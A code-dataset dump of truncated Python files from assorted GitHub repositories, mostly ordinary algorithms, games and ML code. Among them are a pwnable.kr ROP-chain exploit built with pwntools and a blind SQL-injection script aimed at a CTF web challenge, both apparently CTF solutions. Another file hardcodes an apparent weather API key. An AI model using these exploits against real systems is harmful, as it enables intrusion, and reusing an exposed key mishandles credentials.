blob_id stringlengths 40 40 | language stringclasses 1
value | repo_name stringlengths 5 133 | path stringlengths 2 333 | src_encoding stringclasses 30
values | length_bytes int64 18 5.47M | score float64 2.52 5.81 | int_score int64 3 5 | detected_licenses listlengths 0 67 | license_type stringclasses 2
values | text stringlengths 12 5.47M | download_success bool 1
class |
|---|---|---|---|---|---|---|---|---|---|---|---|
9edb13720101b3ac870ab29c02eac17667655d3d | Python | MinJae-Gwon/Algo | /Day24/부분집합의합_재귀.py | UTF-8 | 804 | 3.078125 | 3 | [] | no_license | #비재귀
# data = [-1,3,-9,6,7,-6,1,5,4,-2]
data=[1,2,3,4]
# for i in range(1<<10):
# temp=[]
# for j in range(10):
# if i & (1<<j):
# temp.append(data[j])
# if sum(temp)==0 and len(temp)>=1:
# print(temp)
#재귀
def sub(deep,sofar):
print(deep,visited)
if deep == 4:
... | true |
7ceacca7f63a6c159bb0aa088b85e3245cfdb7e4 | Python | karthikeyansa/Data_Structures_python | /Graphs/dijkstra.py | UTF-8 | 485 | 3.171875 | 3 | [] | no_license | import heapq
#directed weighted cyclic graph
def dij(g,start,end):
heap=[(0,start)]
visited = set()
while heap:
(cost,u)=heapq.heappop(heap)
if u not in visited:
visited.add(u)
if u == end:
return cost
for v,c in g[u]:
if v not in visited:
next = cost+c
heapq.heappush(heap,(next,v))
return ... | true |
70bb662a926b81e5fe3d1b6780bd05c0eb388db8 | Python | danielepusceddu/ctf_solutions | /pwn/pwnablekr_ascii-easy/ascii.py | UTF-8 | 1,671 | 2.71875 | 3 | [] | no_license | from pwn import *
base = 0x5555e000
garbage = 'a' * (0x1c + 4)
#WRITE BASH STRING
#libc address to write to: 0x15742a
#0x00095555: pop edx; xor eax, eax; pop edi; ret; //POP EDX, POP EDI
#0x000d7738: mov dword ptr [edx], ecx; pop ebx; ret; //MOV PTR, POP EBX
#0x00174a51: pop ecx; add al, 0xa; ret; //POP EXC
write_a... | true |
f414c2db136b62d7a9e30e49010eb60185b275b8 | Python | kratel/ctf_writeups | /securinets_2k20_prequals/web/the_after_prequal/python_scripts/get_column_names.py | UTF-8 | 4,240 | 2.765625 | 3 | [
"MIT"
] | permissive | import requests
# defining the challenge sqli vulnerable endpoint
chal_endpoint = "http://web5.q20.ctfsecurinets.com/"
# http://web5.q20.ctfsecurinets.com/?search=%27%29%2F**%2Funion%2F**%2Fselect%2F**%2F*%2F**%2FFROM%2F**%2Finformation_schema.COLLATION_CHARACTER_SET_APPLICABILITY%3B%23%2C
# row_num = 1
max_ascii = ... | true |
07385d78f5de4df76cf3c3c6d4cacc380c18d277 | Python | hechtiQ/bingoApp | /bingoApp.py | UTF-8 | 2,058 | 2.765625 | 3 | [] | no_license | from PyQt4 import QtCore, QtGui
import sys
import random
class Form(QtGui.QFrame):
def clickedButton(self):
while True:
newNumber = random.randint(1,100)
if newNumber not in self.bingoNumbers:
self.bingoNumbers.add(newNumber)
self.LCD.setDigitCount(Q... | true |
033795354156be73d725ec8b911d6cfacdbee8cb | Python | AliAbdelaal/Mwaslaty | /python codes/database codes/count_buses_per_station.py | UTF-8 | 750 | 2.96875 | 3 | [] | no_license | # this code to count how many buses pass by a station
import pymysql
db = pymysql.connect("localhost", "username", "password", "Mwaslaty", charset='utf8')
# prepare a cursor object using cursor() method
cursor = db.cursor()
sql = "SELECT id FROM Stations"
cursor.execute(sql)
stations_id = cursor.fetchall()
for id... | true |
d032848f4cd2d749a384828b80c653455032b70e | Python | TomD0wning/DataStructuresAndAlgorithms | /PrintEveryThird.py | UTF-8 | 155 | 3.140625 | 3 | [] | no_license | def printEveryThird():
L = [1, 2, 3, 4, 5, 6, 7]
j = 2
while j < len(L):
print(L[j])
j = j + 2
print(printEveryThird())
| true |
8497ef490955bc0589acf9fd0ce770bb3c7b2568 | Python | cbekar/DRL_HW2 | /blg604ehw2/a3c/model.py | UTF-8 | 6,528 | 2.6875 | 3 | [
"MIT"
] | permissive | import torch
import numpy as np
from collections import namedtuple
from blg604ehw2.utils import normalize
from blg604ehw2.utils import process_state
from blg604ehw2.atari_wrapper import LazyFrames
class BaseA3c(torch.nn.Module):
""" Base class for Asynchronous Advantage Actor-Critic agent.
This is a base clas... | true |
c0f1c678aaa12c9a1dd37b2b9991035249a42992 | Python | DeviRule/bingo | /scripts/stats/plot.py | UTF-8 | 2,732 | 2.734375 | 3 | [] | no_license | #!/usr/bin/env python3
# Plots statistics from the interaction model, i.e the alarm carousel.
import math
import matplotlib.pyplot as plt
import sys
statsFileName = sys.argv[1]
outputFileName = sys.argv[2]
headerLine = []
records = []
with open(statsFileName) as statsFile:
records = [ line.strip() for line in s... | true |
15b9a50ce1838c59a6801e077b381dda49452468 | Python | kjk402/PythonWork | /inflearn/2/2_10.py | UTF-8 | 429 | 3.546875 | 4 | [] | no_license | # 2-10 점수 계산
# OX 문제에서 맞으면 1점 틀리면 0점
# 조건 1 => 연속으로 맞으면 가산점 준다 1 2 3
import sys
sys.stdin = open("input.txt", "rt", encoding="utf8")
n = int(input())
a = list(map(int, input().split()))
sum = 0
cnt = 0 # 가산점
for x in a:
print(x, end=' ')
if x==1:
cnt +=1
sum +=cnt
else:
cnt = 0
... | true |
c4070fff28dce642c6aa573fa6f3a5c8874520af | Python | HamzaCostelle/COMP-3005 | /FinalProject.py | UTF-8 | 2,379 | 2.890625 | 3 | [] | no_license | #!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
Created on Fri Nov 6 09:20:30 2020
@author: hamzacostelle
"""
import pandas as pd
import datetime as dt
import requests
import urllib.request
from bs4 import BeautifulSoup
import matplotlib.pyplot as plt, mpld3
import numpy as np
import seaborn as sns
from mpld3 impo... | true |
c266c710ec77279752acd7bf8553e4d896fa0c9e | Python | rmcantin/beautifyjournal | /getpdfs.py | UTF-8 | 2,179 | 2.859375 | 3 | [
"WTFPL"
] | permissive | from BeautifulSoup import BeautifulSoup
import urllib
import cPickle as pickle
class JournalParser:
def __init__(self, url):
self.url = url
html_page = urllib.urlopen(url+'index.html')
self.soup = BeautifulSoup(html_page)
def titles2dict(self,titles,authors):
papers = zip(title... | true |
4dba97c578eee82d017a59efb82e07df38f0dba1 | Python | FerdinandZhong/cousera_algorithms | /failed_scc_detection.py | UTF-8 | 2,081 | 2.84375 | 3 | [] | no_license | import random
import os, sys
import pandas as pd
import numpy as np
global graph
global reversed_graph
global current_time
global S
def dfs(v):
global current_time
node_list = reversed_graph.at[v, 'v']
reversed_graph.set_value(v,'explored', True)
for node in node_list:
# print(reversed_graph.a... | true |
8beaa0d059b6188ce4bbd6e7ac3513f10ec0b615 | Python | uneeth/Map-Reduce | /Task1/mapper.py | UTF-8 | 406 | 3.171875 | 3 | [] | no_license | #!/usr/bin/env python3
import sys
from nltk.stem import WordNetLemmatizer
lemmatizer = WordNetLemmatizer()
punctuations = '’“”`^-|,!()-[]{};:\\,<>.?@#$%^&*-=+~_—\'\"'
for line in sys.stdin:
words=line.strip().lower().split()
for word in words:
word.strip()
for x in word:
if x in punctuations:
word=word.rep... | true |
eb2e8717f7dc22ab1a9033c9f95f1eb16f4f079e | Python | damian-dz/PythonTutorials | /simple_pendulum.py | UTF-8 | 845 | 3.078125 | 3 | [] | no_license | #!/usr/bin/env python
# coding: utf-8
from sympy import *
from sympy.physics.mechanics import LagrangesMethod, dynamicsymbols
# Define the necessary symbols and functions:
t, g, m, l = symbols('t, g, m, l')
th = dynamicsymbols('theta')
# Define the position of the mass point based on the angle:
x = l * sin(th)
y = -... | true |
75180f6ad2dc789fe0c8947b2646250a75d9f058 | Python | mbecker12/learning-drones | /drone/controller/pid.py | UTF-8 | 4,633 | 3.21875 | 3 | [] | no_license | # noinspection PyAttributeOutsideInit
import numpy as np
class PID:
def __init__(
self,
kp: float,
ki: float,
kd: float,
timeStep: float,
setValue,
calculateFlag,
integralRange: float = 2,
outputLimitRange=[-1, 1],
):
""" PID clas... | true |
a6deb354169eafe96d8508fbf98530681957a29b | Python | INCREASEZ/pytest | /gaojiehanshu.py | UTF-8 | 100 | 2.609375 | 3 | [] | no_license | from math import sqrt
def same(x,*fs):
s=[f(x) for f in fs]
return s
print(same(2,sqrt,abs)) | true |
6102569be5f1a2bb8890821e534e5a0f3deb0b66 | Python | ykmc/atcoder_old | /2019/0113_Keyence2019/A_20190211.py | UTF-8 | 84 | 2.953125 | 3 | [] | no_license | N = list(map(int,input().split()))
N.sort()
print("YES" if N == [1,4,7,9] else "NO") | true |
db1f1ce671cb101e848718a9031ce3bd5e4bd99e | Python | Qianqian-Tang/Foundations-of-Artificial-Intelligence | /hw2/homework.py | UTF-8 | 13,484 | 3.453125 | 3 | [] | no_license | from itertools import chain
import copy
import time
import math
start_time = time.time()
# read file
input_file = open("input.txt", "r")
lines = input_file.readlines()
game_type = lines[0].replace('\n', '')
play_color = lines[1].replace('\n', '')
remaining_time = lines[2].replace('\n', '')
# convert text to 2d-array m... | true |
d08c0289ef04f8a069ac2664bf3e48fc9466e168 | Python | qzhu2017/PyXtal | /examples/example_01_3D_VASP.py | UTF-8 | 1,846 | 2.84375 | 3 | [
"MIT"
] | permissive | from pyxtal import pyxtal
from pyxtal.interface.vasp import optimize
from ase.db import connect
from random import randint
from time import time
import warnings
warnings.filterwarnings("ignore")
"""
This is a script to
1, generate random structures
2, perform multiple steps of optmization with ASE-VASP
Requirement:... | true |
601f60cf89e3acb6899e6c0818cb8bbe28cdf1e7 | Python | nishaoshan/OnlineDict_project | /dict_server.py | UTF-8 | 3,051 | 2.75 | 3 | [] | no_license | """
author: Nishaoshan
email:790016602@qq.com
time:2020-6-22
env:python3.6
socket,Process,signal,sys,time,C负责逻辑处理
"""
from socket import *
from multiprocessing import Process
import signal, sys, time
from month02.day19.dict_db import Database
class Server:
def __init__(self, host="0.0.0.0", port=9999):
s... | true |
99b32fa5cbebb74b21b5861533d9142a5217ffab | Python | shekeru/advent-of-code | /2019/intcode/July/lexer.py | UTF-8 | 1,675 | 2.578125 | 3 | [] | no_license | from rply import LexerGenerator
class Lexer(LexerGenerator):
def __init__(sl):
super().__init__()
# Parenthesis
sl.add('OPEN', r'\(|\[')
sl.add('CLOSE', r'\)|\]')
# Compiler Prims
sl.add("IF", r'if')
sl.add("BYTES", r'bytes')
sl.add("DEFN", r'defn')
... | true |
77e836f96b000d500f4fe209353eabf1ac2397a9 | Python | davidcediel12/Cliente-Servidor | /manejador_archivos/manejador_archivos_chord/servidor/initialServer.py | UTF-8 | 1,022 | 2.6875 | 3 | [
"Apache-2.0"
] | permissive | import argparse
import zmq
import netifaces
from string import ascii_letters
import random
import hashlib
from os import listdir, remove
from os.path import isfile, join
from abstractServer import Server
class InitialServer(Server):
"""
Lo unico que cambia entre el servidor normal y el inicial es que la llave... | true |
d39500efc38b9fb49a78dea1f5a509421d32ceb0 | Python | JungHyeonKim1/TIL | /algorithm/2월 3주차/회문.py | UTF-8 | 1,316 | 3.3125 | 3 | [] | no_license | import sys
sys.stdin = open("회문_input.txt")
T = int(input())
for t in range(1, T + 1):
N, M = map(int, input().split())
# arr = [0] * N
# for i in range(N):
# arr[i] = list(input())
arr = [list(input()) for _ in range(N)]
# 입력확인
# for i in arr:
# print(i)
print("#{} ".fo... | true |
9563962259ba542593dedbe8e9a4763e9c23893f | Python | Elitone/CommandLineReminder | /clr.py | UTF-8 | 6,457 | 3.34375 | 3 | [
"MIT"
] | permissive | import os
import pickle
yes_list = ['y', 'Y', 'yes', 'YES', 'Yes']
programs = {}
class Program:
def __init__(self, program_name):
self.program_name = program_name
self.commands = {}
def add_command(self, command, note):
self.commands[command] = note
def remove_command(self, command):
self.commands.pop(co... | true |
9318f694216a3e8bf3d4424b1d2f921cb366c895 | Python | E-N-I-T-H/qxresearch-event-1 | /Applications/CSPRNG/CSPRNG_1/FreshProject.py | UTF-8 | 1,300 | 3.53125 | 4 | [] | no_license | import random
import time
import requests
api_key = '194775dc6dd9f7b8f5f0e77f1733a330'
city_list = ['bangkok', 'mumbai', 'kolkata', 'tokyo', 'chennai', 'dhaka',
'jaipur', 'beijing', 'delhi', 'punjab', 'pune', 'kashmir', 'lucknow', 'dubai', 'bangalore']
city = random.choice(city_list)
url = f'http://api.... | true |
093aac9e221451da829367ee87ea11ee41b6d585 | Python | NicolasDuranGarces/PythonProjects | /Chat Python Local/cliente.py | UTF-8 | 990 | 2.796875 | 3 | [] | no_license | import socket
import select
import sys
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if len(sys.argv) != 3:
print "Error: Debe introducir client.py IP PUERTO"
exit()
IP_address = str(sys.argv[1])
Port = int(sys.argv[2])
server.connect((IP_address, Port))
nick = raw_input("Por favor introduce tu nick > "... | true |
8e4cc5eefe6837a03acb1a96de88002b86f47b65 | Python | Tony-Gagliardi/Network-Management | /Labs/Lab3/lab3_revised.py | UTF-8 | 4,052 | 2.59375 | 3 | [] | no_license | import netsnmp
import time
class Router(object):
def __init__(self, ip):
self.session = netsnmp.Session(DestHost = ip,
Community = 'public', Version = 1)
def __str__(self):
print ip
def update(self,ip):
ifindex = netsnmp.Varbind('.1.3.6.1.2.1.2.... | true |
2773593cea25d238ad6dce5d29745711180c5b47 | Python | lsb530/Algorithm-Python | /파이썬챌린지/10.다양한 문자열 처리/86.비밀번호일치체크.py | UTF-8 | 257 | 3.734375 | 4 | [] | no_license | password = input("Enter the password: ")
check = input("Enter the password: ")
if password == check:
print("Thank you")
elif password == check.upper() or password == check.lower():
print("They must be in the same case")
else:
print("Incorrect")
| true |
0886186a5a79b221d73b1739d6cabea708f4277c | Python | fztest/Classified | /7.Two_Pointers/7.5_609_Two_Sum-Less_Than_or_Equal_to_Target.py | UTF-8 | 1,330 | 4.25 | 4 | [] | no_license | """
Description
_____________
Given an array of integers, find how many pairs in the array
such that their sum is less than or equal to a specific target number.
Please return the number of pairs.
Example
___________________
Given nums = [2, 7, 11, 15], target = 24.
Return 5.
2 + 7 < 24
2 + 11 < 24
2 + 15 < 24
7 + 11... | true |
5005690e0f2727b6a96746956d557d7d31d4c5c4 | Python | M64ell/PythonClass | /main.py | UTF-8 | 534 | 2.703125 | 3 | [] | no_license | #import ClassExamples.comments
#import ClassExamples.mathOperator
#import Labs.variables_lab
size_of_board = 600
number_of_dots = 6
symbol_size = (size_of_board / 3 - size_of_board / 8) / 2
symbol_thickness = 50
dot_color = '#7BC043'
player1_color = '#0492CF'
player1_color_light = '#67B0CF'
player2_color = '#EE4035'... | true |
c75fdfdcfb53355be8209c8d0e6aafa74159ef2a | Python | KazutoYunoki/programing-contest | /atcoder/abc169/b1.py | UTF-8 | 309 | 2.921875 | 3 | [] | no_license | def main():
MAX = 1e18
n = int(input())
A = list(map(int, input().split()))
if 0 in A:
print(0)
exit(0)
prod = 1
for a in A:
prod *= a
if prod > MAX:
print(-1)
exit(0)
print(prod)
if __name__ == "__main__":
main()
| true |
872b5bb991e95dc534f8e59a55264df215e00d95 | Python | rohith2506/Algo-world | /misc/hackerrank/counter_code/campers.py | UTF-8 | 1,011 | 2.515625 | 3 | [] | no_license | n,k = raw_input().split()
n,k = int(n), int(k)
lst = raw_input().split()
for i in range(0, len(lst)):
lst[i] = int(lst[i])
arr = [0 for i in range(0, n)]
for l in lst:
arr[l-1] = 1
res = 0
maxi = len(lst)
i = 0
while i < len(arr):
if i == 0:
if arr[i] == 0 and arr[i+1] == 0:
maxi = m... | true |
8703d755e1e2d9facaeda635a8f573ed6b82d045 | Python | vuvuzella/data_mining | /python/twitter_api/authentication.py | UTF-8 | 1,734 | 2.734375 | 3 | [] | no_license | """
OAuth usage from twitter api
http://alanwsmith.com/using-the-twitter-api-without-3rd-party-libraries
"""
import base64
import json
import urllib2
# Credentials
consumer_key = "rnE8SzBdt3zg6f9qZSIrtKldc"
consumer_secret = "rDxy563JCahH9T6mFcCAfyu6hyW2icJr4ZaWJITF3cJPZiCWYF"
# key encoding
bearer_token = "{0}:{... | true |
2ecb2efcafc0ca241ca975b4f49ca84406a5455f | Python | falun/crayon | /style-fixer.py | UTF-8 | 2,666 | 3.15625 | 3 | [
"BSD-3-Clause",
"MIT"
] | permissive | # A script that can be run before committing to normalize all whitespace
# Editors are all different. This will reduce a lot of diff noise or confusion,
# particularly because most editors render tabs as 4 spaces by default and github
# renders it as 8.
import os
def loadFile(path):
c = open(path, 'rt')
te... | true |
9102683943352924edd1ae345556583116a5962d | Python | den01-python-programming-exercises/exercise-5-9-biggest-pet-shop-vivyansoul | /tests/test_exercise.py | UTF-8 | 261 | 3.109375 | 3 | [] | no_license | import pytest
import os
def test_exercise():
os.chdir('src')
from pet import Pet
from person import Person
lucky = Pet("Lucky", "collie")
james = Person("James", lucky)
assert str(james) == "James, has a friend called Lucky (collie)"
| true |
da566168830536e50c38bd79770d127e5afd73ae | Python | SoojungHong/state_of_the_art_NLP | /Seq2Seq_with_Transformer.py | UTF-8 | 24,683 | 2.640625 | 3 | [] | no_license | # -----------------------------------------------------------------------------------------------
# The model is based on following reference and input & output data format for my own problem
# reference : https://d2l.ai/chapter_attention-mechanisms/transformer.html
# ---------------------------------------------------... | true |
f2c18bc3df36f079ff4ad982228612b302ff15dd | Python | qtothec/pyomo | /pyomo/contrib/sensitivity_toolbox/examples/feedbackController.py | UTF-8 | 3,282 | 2.59375 | 3 | [
"BSD-3-Clause"
] | permissive | # ___________________________________________________________________________
#
# Pyomo: Python Optimization Modeling Objects
# Copyright 2017 National Technology and Engineering Solutions of Sandia, LLC
# Under the terms of Contract DE-NA0003525 with National Technology and
# Engineering Solutions of Sandia, LLC... | true |
5f159a9cedf310110d1469c3ad2373bb2ddf8ae6 | Python | Vegnics/PPG_analysis | /wave_probe.py | UTF-8 | 579 | 2.5625 | 3 | [] | no_license | import numpy as np
import h5py
from matplotlib import pyplot as plt
import cv2
"""
image = cv2.imread("splines.png",0)
x= np.array([k for k in range(image.shape[1])])
y=[]
for j in range(image.shape[1]):
column = image[:,j]
val = np.where(column == 0)
if val[0].size > 0:
val = np.mean(... | true |
89fce55bc8da2c1e56c462b9c4a85f6e72ce8f86 | Python | ingmarliibert/evolve-rl | /agent.py | UTF-8 | 5,952 | 3.015625 | 3 | [] | no_license | # Based on https://towardsdatascience.com/reinforcement-learning-without-gradients-evolving-agents-using-genetic-algorithms-8685817d84f
import torch
import torch.nn as nn
import torch.nn.functional as F
import torch.optim as optim
import numpy as np
import copy
from main import *
class CartPoleAI(nn.Module):
def... | true |
770ec799c3d8acf06c1d1ff10542abfc7f872cae | Python | OompahLoompah/LinodeAPI-Client | /src/tester.py | UTF-8 | 1,791 | 2.640625 | 3 | [
"MIT"
] | permissive | from client import linodeClient
import os
linode = linodeClient(os.getcwd() + '/../.config')
userInput = raw_input("What do you want to do?\n")
if userInput == 'create':
print(linode.createLinode('3', '1'))
if userInput == 'destroy':
userInput = raw_input("What do you want to destroy?\n")
response = lin... | true |
8938b6b03a9415a262598656492edc22bace2cb2 | Python | parismav87/air2014 | /main_rembo.py | UTF-8 | 1,381 | 2.625 | 3 | [] | no_license | # REMBO
import numpy as np
import math
import acquisition_function as acq
import create_random_matrix as crm
import choose_bounded_region as cbr
D = 10 # number of features
d = 3 # reducted dimension
n_training = 10
n_test = 1
max_iter = 5 # maximum number of iterations
sigma_0 = 0.1
region_bound = math.sqrt(d)
re... | true |
ca80a17b880f2b0e439107a3567869d71a929831 | Python | kottz/bp_game | /main.py | UTF-8 | 1,677 | 2.65625 | 3 | [
"MIT"
] | permissive | import mpv
from game import Game
from game import TextView
from game import MusicView
from game import LightView
import os
import relay
def my_log(loglevel, component, message):
print('[{}] {}: {}'.format(loglevel, component, message))
testGame = Game('viktor', 'edward', 'anton', 'malva')
textView = TextView()
pl... | true |
89b0fea2bc6e07d3685140e7247575bbc9a982ae | Python | NonCover/leetcode | /DFS/TreeSearch.py | UTF-8 | 799 | 3.84375 | 4 | [] | no_license | '''
5
/ \
1 4
/ \
3 6
'''
class Root:
def __init__(self, x, left=None, right=None):
self.left = left
self.right = right
self.val = x
def solution(root):
if not root:
return True
stack = [(root, float('-inf'), float('inf'))]
while stack:
root... | true |
dc9d6864f3950fe0437552b53440020d23aae0bb | Python | Aleyucra74/Sensiders | /Inovacao/machlearn/algoritmoML.py | UTF-8 | 2,195 | 3.375 | 3 | [] | no_license | class Algoritmo:
def __init__(self):
self.usr_act = False
self.resposta = ""
def ordenar_lista(self, lista, lblsLista):
tam = len(lista)
for i in range(tam):
act = i
for j in range(i, tam):
if lista[j] > lista[i] and lista[j] > lista[... | true |
f936e48373a4d968c413e34fc852802b0b3cc679 | Python | Pandinosaurus/ensae_teaching_cs | /src/ensae_teaching_cs/automation_students/projects_helper.py | UTF-8 | 9,110 | 2.71875 | 3 | [
"MIT"
] | permissive | """
@file
@brief A couple of functons which automates everything.
"""
import os
import pandas
from pyquickhelper.loghelper import fLOG
from pyquickhelper.filehelper import encrypt_stream
from pymmails import MailBoxImap, EmailMessageRenderer, EmailMessageListRenderer
from pymmails.render.email_message_style import tem... | true |
e42e1e8d28d63228db4e5b4a52989c9e8797f116 | Python | Bannonsmith/Assignment-1 | /StringInteropolation.py | UTF-8 | 275 | 3.859375 | 4 | [] | no_license | first_name = input("What is your first name?")
last_name = input("What is your last name?")
print(f"Hello, my name is {first_name}, {last_name}")
#def name(first_name, last_name):
#return f"Hello, my name is {first_name}, {last_name}"
#print(name(first_name, last_name))
| true |
d9eb6772a299eddf598489610c398ea19ae4de15 | Python | bmccann/party_predictor | /code/logistic_regression.py | UTF-8 | 3,585 | 2.953125 | 3 | [] | no_license | import sklearn.linear_model as sk
from holdout import Holdout
from feature_extractor import FeatureExtractor
from collections import Counter
class LogisticRegression:
"""
An abstract LogisticRegression model; must retrieve either a scikit learn implementation
or a custom implementation (for comparison) before using... | true |
fcd4c53c07b931bdd3a53ada441a459dec1645a9 | Python | mounir4023/ripy | /materials/rilib_before_vectorial_weights.py | UTF-8 | 7,266 | 2.65625 | 3 | [] | no_license | import os
import re
import nltk
from collections import Counter
import numpy as np
def clean_cacm(path,cleanname):
original = open(path).read()
clean = re.sub(r'(?:^|\n)[.]B(?:.|\s)*?(?:[.]I|$)',r'\n.I',original)
clean = re.sub(r'[.]I$','',clean)
final = open(cleanname,'w')
final.write(clean)
... | true |
e7307b2e9c6b9d285f437542e2d02388c7b0ecd9 | Python | rfdj/TraceryCounter | /tracerycounter.py | UTF-8 | 1,780 | 3.421875 | 3 | [
"MIT"
] | permissive | #!/usr/bin/env python3
import argparse
import json
import re
"""
Count all the possible outcomes (traces) starting from a user-defined origin.
@author Ruud de Jong
@license MIT
"""
data = {}
all_counts = {}
def count(key):
global data
global all_counts
if key not in data:
raise KeyError("Key '{... | true |
bafbc06c3f15b5e7c8ee6f586429336011be8d46 | Python | ninjutsoo/Qlearning-Puzzle | /QL_Puzzle.py | UTF-8 | 5,477 | 3.28125 | 3 | [] | no_license | import random
import copy
# 2, 1 and 0 in order are representing sun, moon and blank.
source_puzzle = [[2, 2, 2],
[1, 2, 1],
[1, 0, 1]]
goal_puzzle = [[0, 1, 2],
[1, 2, 1],
[2, 1, 2]]
moves = ['U', 'R', 'D', 'L']
start = [[0, 1, 1], [1, 1, 2], [2, 2, 2]]
e... | true |
c4bf67de2fe44eeaa1b83eaabbbf9df9c959f4b1 | Python | ddxmde/ImageHandleCollections | /PicText.py | UTF-8 | 3,339 | 3 | 3 | [
"MIT"
] | permissive | # -*- coding: utf-8 -*-
from PIL import Image, ImageDraw, ImageFont
import time
import io
import sys
#sys.stdout = io.TextIOWrapper(sys.stdout.buffer,encoding='utf-8')
def pic_open(filepath):
image = Image.open(filepath)
return image
def pic_addText(image,xy,text,color,font,textSize,direction=None):
draw = Image... | true |
dca55ba3d89d17ff5d98f161c50fe604fe9a0a2f | Python | Turamarth/Cloud9 | /Take a break/takeabreak.py | UTF-8 | 282 | 3.046875 | 3 | [] | no_license | import time
import webbrowser
import datetime
total_breaks = 3
break_count = 0
print ("This program started on"+time.ctime())
while (break_count < total_breaks)
time.sleep(10)
webbrowser.open("https://www.youtube.com/watch?v=SItIaWAjI_4")
break_count = break_count + 1 | true |
c042f17f1d825951b434cb004ba50ac49e17c3a6 | Python | jamezaguiar/cursoemvideo-python | /Mundo 1/030.py | UTF-8 | 272 | 4.78125 | 5 | [] | no_license | #Exercício Python 030: Crie um programa que leia um número inteiro e mostre na tela se ele é PAR ou ÍMPAR.
num = int(input("Digite um número: "))
if num%2 == 0:
print("{} é um número par!".format(num))
else:
print("{} é um número impar!".format(num)) | true |
2ebffe59a59ff38baa731f74e57bef90268d730a | Python | Igorjan94/CF | /trains/train2015western/G.py | UTF-8 | 45 | 3 | 3 | [] | no_license | s = input()
n = len(s)
a = [0] * n
print(a)
| true |
7c59f8cf11e0726ac55ffe033aed6a55e30a85fc | Python | uniphil/FitHub | /flaskapp/awesome/users.py | UTF-8 | 1,848 | 2.609375 | 3 | [] | no_license | # -*- coding: utf-8 -*-
"""
awesome.users
~~~~~~~~~~~~~
User account model and business.
And twitter and stuff
twitter: http://pythonhosted.org/Flask-OAuth/
eg: https://github.com/Queens-Hacks/tweetmatch
:copyright: (c) 2013 by people
:license: Reserved, see the license file for more ... | true |
5536bde36e57077c78f207351727fa185a2a4035 | Python | ibarria0/bioinfo | /freq_miss.py | UTF-8 | 1,415 | 3.046875 | 3 | [] | no_license | import itertools
nucleotides = set("AGCT")
def distance(string,other_string):
count = 0
for i,chars in enumerate(zip(string,other_string)):
if chars[0] != chars[1]:
count+=1
return count
def is_mismatch(string,other_string,d):
return (distance(string,other_string) <= d)
def windo... | true |
59dcf90e0b76d19c0dd9bd6da02ce8960d545dbd | Python | poojitha-chidurala/spendingscore | /model.py | UTF-8 | 1,228 | 2.765625 | 3 | [
"Apache-2.0"
] | permissive | # -*- coding: utf-8 -*-
"""
Spyder Editor
This is a temporary script file.
"""
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
import pickle
dataset=pd.read_csv("Mall_Customers.csv")
dataset
dataset.isnull().any()
from sklearn.preprocessing import LabelEncoder
lb=LabelEncoder()
... | true |
b36839ad14d928718839e04d6fa791ff6b9c116e | Python | ankur715/MOOCs | /edyoda/learning_python.py | UTF-8 | 23,369 | 3.953125 | 4 | [] | no_license | ### datatypes________________
num1 = 100
print(type(num1))
num2 = 15.45
print(type(num2))
st = "string"
print(st, type(st))
l = [1,2,3,4,5]
l.append("string")
print(l, type(l))
t = (11,22,33)
print(t, type(t))
dict = {"name":"ABC", "email":"abc@efg.com"}
print(dict, type(dict))
set = {11,22,33}
print(set... | true |
c09fe4229908132b3e4bad9789e6f04e6233811d | Python | FlimothyCrow/Python | /pokertests.py | UTF-8 | 5,276 | 3.1875 | 3 | [] | no_license | import unittest
from poker import *
class PokerTests(unittest.TestCase):
def test_makeCard(self):
card = makeCard("KD")
self.assertEqual(13, card.value)
def test_makeCard1(self):
card = makeCard("AD")
self.assertEqual(14, card.value)
def test_makeCard2(self):
car... | true |
389018c004299b7defb029f862f79b1f5533c180 | Python | kaylschl/girlswhocode | /nevada.py | UTF-8 | 1,549 | 3.328125 | 3 | [] | no_license | import election
import matplotlib.pyplot as plt
import numpy as np
list_of_result = election.get_results()
data = []
for counties in list_of_result:
states = (counties["Location"]["State"])
if states == "Nevada":
democrat = (counties["Vote Data"])
county = (counties["Location"]["County"])
... | true |
cbe07c4e6fbaba8a291179c7857c5b92bfc4cce9 | Python | ahmed-gharib89/DataCamp_Data_Scientist_with_Python_2020 | /Unsupervised Learning in Python/03_Decorrelating your data and dimension reduction/06_Intrinsic dimension of the fish data.py | UTF-8 | 835 | 3 | 3 | [] | no_license | """================MCQ==============="""
# Intrinsic dimension of the fish data
# In the previous exercise, you plotted the variance of the PCA features of the fish measurements. Looking again at your plot, what do you think would be a reasonable choice for the "intrinsic dimension" of the the fish measurements? Recal... | true |
f7b74a9295ac4c60693503393ae02a923bc2d6cf | Python | dr-dos-ok/Code_Jam_Webscraper | /solutions_python/Problem_96/1459.py | UTF-8 | 834 | 2.796875 | 3 | [] | no_license | #2012 codejam problem 1
def getit(alist):
res =0
s = int(alist[1])
p = int(alist[2])
for key in alist[3:]:
if (int(key) == 3*p-3 or int(key)== 3*p-4) and s>0 and int(key)>p:
res +=1
s -=1
elif int(key) >= 3*p-2:
res +=1
return res
... | true |
18b7133e8e3be374b8d68b726a40045892c40fc1 | Python | levantocode/ONG-Software | /1. Model/Debito.py | UTF-8 | 873 | 2.875 | 3 | [] | no_license |
class Debito:
def __init__(self, valorDebito, dataDebito, descDebito, produto):
self.valorDebito = valorDebito
self.dataDebito = dataDebito
self.descDebito = descDebito
self.produto = produto
# - - - - - - - - - - GETS & SETS - - - - - - - - - -
##GETS
def ... | true |
d855c4b6d57306128059582fccc193e6588baf5c | Python | viethien/misc | /move_zeros.py | UTF-8 | 328 | 3.578125 | 4 | [] | no_license | #!/usr/bin/python3
#program will take in a list of integers and move the zero values
# to the back of the list without making a copy of the list and
# maintaining the other values
nums = [0,0,5,0,6,7,7,8,9,10,11,14,0,130,40,0,0,4,5]
for num in nums:
if num == 0:
nums.remove(num)
nums.append(0)
print (nums) ... | true |
8be6006423298b415b19aa182ef49c67578df899 | Python | gf234/python_problem_solving | /백준/16566번 카드 게임.py | UTF-8 | 775 | 3.03125 | 3 | [] | no_license | import sys
import math
def input(): return sys.stdin.readline().rstrip()
n, m, k = map(int, input().split())
cards = list(map(int, input().split()))
targets = list(map(int, input().split()))
sqrt_n = int(math.sqrt(n))
isPresence = [False for _ in range(n+1)]
# sqrt_n 개씩 잘라서 남은 개수를 저장한다.
dummy = [0 for _ in range(... | true |
